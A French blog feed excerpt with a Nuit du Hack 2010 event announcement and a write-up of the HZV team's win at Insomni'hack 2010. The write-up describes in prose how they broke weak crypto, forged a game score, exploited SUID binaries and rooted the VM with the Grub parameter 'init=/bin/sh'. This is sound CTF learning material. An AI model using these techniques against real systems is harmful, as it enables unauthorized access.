Cette année, nous invitons des « VIP » pour présenter des conférences inédites. La liste définitive n’est pas encore connue, néanmoins la présence de George Hotz a été confirmée. Aussi connu sous le pseudo GeoHot, cet étudiant du RIT est le premier à avoir jailbreaké l’iPhone, et plus récemment la PS3. C’est sur le cracking cette dernière console que portera sa conférence.
Call for papers
Bien entendu, présenter une conférence n’est pas réservé aux VIP. Nous recherchons d’ailleurs activement des volontaires souhaitant présenter leurs travaux pour des conférences d’une trentaine de minutes. Si vous êtes intéressés, n’hésitez pas à soumettre votre proposition au staff !
Une péniche de 3 étages
Comme l’année dernière, l’événement aura lieu sur une péniche. Mais cette fois-ci, nous avons pris le gabarit supérieur ! Avec ses 3 étages, la péniche Concorde Atlantique sera en mesure d’accueillir pas moins de 400 participants.
Do you speak English?
Jusqu’ici restée 100% francophone, la Nuit Du Hack devient pour la première fois bilingue, et se voit traduite par « Night Da Hack » en Anglais. Le but étant bien sur de rendre l’événement accessible à nos amis anglophones venant de toute l’Europe, des États-Unis, et partout ailleurs. Certaines conférences seront données en Anglais, d’autres en Français.
Ateliers
A l’image de la DEF CON, nous organiserons des ateliers en parallèle des conférences et challenges. Chacun centré sur un thème particulier, leur but sera de favoriser la mise en pratique pour les participants. Nous recherchons également des volontaires pour présenter des ateliers (ex: lockpicking, manipulation d’outils tels que Metasploit, Maltego, etc), n’hésitez pas à vous faire connaître si vous avez des idées !
Capture The Flag
Comme l’année dernière, le challenge sera un « Capture The Flag ». Pour les néophytes, il s’agit d’un concours par équipes de 5, dans lequel chaque équipe se voit remettre un serveur hébergeant un certain nombre de services vulnérables. Son but est de protéger son serveur en maintenant ses services disponibles, tout en attaquant les serveurs ennemis et en faisant tomber leurs services. Pour gagner des points, il faut trouver des failles ou bien patcher ses services. Chaque service qui tombe fait perdre un certain nombre de points par minute à l’adversaire. Le staff disposera en parallèle d’un serveur de monitoring pour être en mesure de comptabiliser les points en temps réel.
Le CTF est limité à 10 équipes de 5, alors inscrivez-vous vite !
Challenge public
Pour les gens n’ayant que peu d’expérience en pentesting, nous mettrons à disposition de tous un challenge ouvert. Il s’agira d’un serveur accessible en Wifi hébergeant des épreuves communes.
Prix
Les gagnants du CTF se verront remettre divers prix offerts par Sysdream :

Livres techniques sur la sécurité
Hardware (laptop, etc)
Certifications en sécurité (CEH, ECSA/LPT, CISSP, etc.) reconnues mondialement

Pour plus d’infos
Pour vous inscrire ou pour toute information complémentaire, n’hésitez pas à consulter le site de la Nuit Du Hack ! Vous y trouverez notamment des photos et vidéos des années passées. J’ai également posté quelques articles au sujet des dernières éditions sur ce blog.
]]>
			http://www.segmentationfault.fr/securite-informatique/nuit-du-hack-2010-georges-hotz/feed/
		4
		
		
		
		http://www.segmentationfault.fr/securite-informatique/insomnihack2010-hzv-won/
		http://www.segmentationfault.fr/securite-informatique/insomnihack2010-hzv-won/#comments
		Mon, 25 Jan 2010 20:42:26 +0000
		Emilien Girault
				
		
		
		
		

		http://www.segmentationfault.fr/?p=752
		
			Ce week-end, c’est avec trois membres de HZV (Crashfr, Virtualabs, et Fluxius) que je me suis rendu à Insomni’hack, un challenge de hacking se déroulant à Genève. Le challenge était au départ individuel, mais nombreux étaient ceux qui, comme nous, s’entre-aidaient. Le but était simple : valider un maximum d’épreuves avant 1h du matin. Au final, c’est notre équipe qui a remporté le challenge. Voici un petit résumé de quelques épreuves intéressantes dont je me rappelle.


Le challenge était composé de 9 séries d’épreuves, chacune étant d’un type différent. Décidés à en valider un maximum, nous nous sommes répartis le travail entre tous les membres de l’équipe, en centralisant les solutions. Et c’est moi qui me suis retrouvé désigné comme étant la personne en charge de tout valider  . Enfin, deux difficultés notables étaient à souligner : les prises électriques étaient suisses (merci à la personne nous ayant prêté un adaptateur)  et aucune connexion internet n’était fournie.
L'équipe HZV

One Time Pad
J’ai commencé par la première épreuve de la série intitulée « One Time Pad », portant sur la crypto. Il s’agissait de décrypter un fichier chiffré avec l’algorithme One Time Pad, sachant que l’on nous donnait un couple plaintext – ciphertext chiffré avec la même clé… Un simple XOR entre les deux permettait donc de révéler cette dernière, et donc de déchiffrer le message.
RSA
Après cet échauffement, on enchaîne avec du RSA. La deuxième épreuve OTP consiste à casser un message chiffré avec une implémentation de RSA vraisemblablement pas terrible niveau sécurité. Le message en question était composé d’un header qui n’était autre que la concaténation de l’exposant public (e) et du module (N) utilisé pour chiffrer le message, le tout encodé en base 64. Étant donné que N avait une taille ridiculement faible (une trentaine de bits), il était très facile de le factoriser. Personnellement, je me suis servi de l’outil RSA Tool 2, permettant non seulement de factoriser N mais aussi de retrouver l’exposant privé (d). Une fois d obtenu, il suffisait d’utiliser l’outil fourni pour déchiffrer le message.
Follow the white rabbit
La 3ème épreuve de la série consistait à lire un message dans une image représentant un lapin, elle faisait donc appel à de la stéganographie. Notre intuition nous disait qu’il y avait du LSB dans l’air, mais nous n’avons pas eu le temps de coder un outil sur place (nous avions la flemme de lire les specs du BMP). Plusieurs membres de notre équipe ont fait une fixation sur ce lapin, espérant y voir un « message subliminal » (private joke)… Suite à  la fin de ce billet.
F|UxIuS, dont le pseudo a donné mal à la tête au staff
Shoot the caribou
Dans cette épreuve flash faisant partie de la série « les soirées de Kévin », il fallait tirer sur un caribou pour obtenir un score le plus élevé possible. Ce score était alors envoyé au serveur, qui affichait le code de validation si le score était suffisamment élevé. Sauf qu’il était physiquement impossible d’atteindre un tel score, à moins d’être un maniaque de la souris…
Virtualabs et Fluxius se sont alors mis à décompiler le flash, et on trouvé que le score était d’abord chiffré en RC4 puis envoyé au serveur. Bien entendu, la clé RC4 étaient hardcodée dans le flash. Apres extraction de la clé, il leur a donc été possible de forger un score de plusieurs millions de points, de le chiffrer correctement et de l’envoyer au serveur pour que celui-ci accepte de révéler le code de validation.
La team soutenue par son sponsor...

300 captchas
Épreuve « kikoo » n°2. Il fallait résoudre 300 captchas sur une page Web dans un laps de temps très bref. Même si dans l’absolu c’est théoriquement envisageable, cela reste quand même assez incertain. Il fallait donc remarquer que l’URL de validation du captcha contenait en réalité le texte de celui-ci encodé en base64… Il a donc été assez facile de coder un bot en Python récupérant les pages et effectuant la chaîne de validation pour valider l’épreuve.
Failles applicatives
La série d’épreuve nommée  « Exploitation » consistait à télécharger une VM Linux et à exploiter les différentes failles qui s’y trouvaient. Il s’agissait d’une série de binaires SUID comportant différentes failles applicatives. La première n’était autre qu’un buffer overflow. Le temps de sortir Python, un shellcode Linux, ainsi que GDB, et l’épreuve a été validée sans trop de soucis.  La deuxième faille de la série était une format string, un peu plus galère à exploiter. Enfin la dernière était une faille maison qui s’exploitait en forgeant le paramètre d’entrée de telle sorte à ce qu’il soit accepté et que le programme finisse par lire le fichier contenant le code de validation.
Grub FAIL!
Pour exploiter ces 3 failles applicatives, il fallait donc être quand même motivé… Mais il y avait moyen de faire plus simple. Beaucoup plus simple. En effet, les membres du staff avaient oublié un détail crucial : sécuriser le Grub de la VM… Il était par conséquent possible de rooter la VM juste en ajoutant la chaîne ultra-connue « init=/bin/sh » comme paramètre du noyau pour se retrouver automatiquement logué en root. Et paf le shell !
Owned by Grub
Voila ce qui arrive lorsqu’on oublie ce genre de détail  . Le staff a d’ailleurs fait une drôle de tête quand nous les avons informé de ce léger oubli. Enfin, ils auraient pu jouer le jeu et accorder un bonus supplémentaire…
Remise des prix
A 1h du mat, le challenge se termine et le vainqueur est annoncé. Même s’il s’agit de moi, je tiens vraiment à rappeler que le véritable vainqueur du challenge n’est pas moi, mais bien l’ensemble de la team qui représentait HZV ! Le 2ème est Samsa (un Espagnol fort sympathique), suivi de Nagual (de Backtrack-fr) et de l’équipe de Maubeuge (merci à Shatter pour le screenshot des scores !).

Résultats Insomni'hack 2010
Nous recevons alors une panoplie de t-shirts Kaspersky et Insomni’hack, ainsi qu’un sympathique routeur firewall Fortinet. Bref, de quoi s’amuser un peu à Sysdream  
Nous terminons la soirée tranquillement à notre hôtel, accompagné comme il se doit d’une bouteille de Vodka, de chips et de saucisson. Bah oui, il faut bien fêter tout ça !
Annexe : Le poutrage du lapin masqué
Le lendemain du challenge, après avoir été hanté toute la nuit par l’image du lapin (One Time Pad n°3) resté incomprise, je me suis mis en tête de trouver la solution à cette épreuve. Avec GIMP, je me suis aperçu que l’outil pot de peinture appliqué (réglé avec un seuil nul) sur des zones aléatoires de l’image faisait apparaître clairement des bandes verticales, qui en plus étaient toutes espacées de 7 pixels. Autrement dit, ces bandes avaient beaucoup de chance de représenter les pixels dont le bit de poids fort était à zéro, comme c’est toujours le cas en ASCII (non étendu). Le LSB se confirmait de plus en plus… Ayant Python sous la main, j’ai codé un petit tool permettant de parser l’image, extraire tous ses bits de poid faible, et ainsi reconstituer le message. A un décalage près, voici le résultat :
W3LCOME_2_H4CK3R'S_WOND3RL4ND
On notera la référence au lapin blanc d’Alice au Pays des Merveilles… Maintenant, Crashfr et Fluxius peuvent dormir tranquille sans être hantés  . Seul regret : ne pas avoir eu le temps de valider cette épreuve sur place…
Les geeks aussi ont le droit de faire du tourisme
Conclusion et remarques
Au final, toute l’équipe ainsi que moi-même avons passé un très bon moment lors de cette soirée, riche en ambiance chaleureuse, rencontre, boissons (enfin, nous étions la seule équipe à boire), et prise de tête sur les différents challenges  . C’était la première fois que je me rendais à un événement de ce genre à l’étranger.
J’aurais toutefois quelques remarques / critiques concernant l’événement :

Nous avons trouvé assez peu réglo le fait que certaines équipes disposaient d’Internet via une connexion 3G, car cela avantage considérablement.
Nous regrettons le manque de réalisme des épreuves, un peu trop axées sur la kikoolol attitude et pas assez sur ce qui se trouve réellement en pentest.
Dommage que l’événement se termine si tôt (1h du mat), surtout avec un nom comme « Insomni’hack »…

J’espère que le staff, s’il lit ce billet, ne les prendra pas mal ; il s’agit au contraire de conseils pour l’année prochaine.
En tout cas, félicitations à eux pour avoir organisé cet événement ! Nous espérons les voir le 19 juin à la Nuit du Hack  
Plus de photos sur le blog de Fluxius
]]>
			http://www.segmentationfault.fr/securite-informatique/insomnihack2010-hzv-won/feed/
		14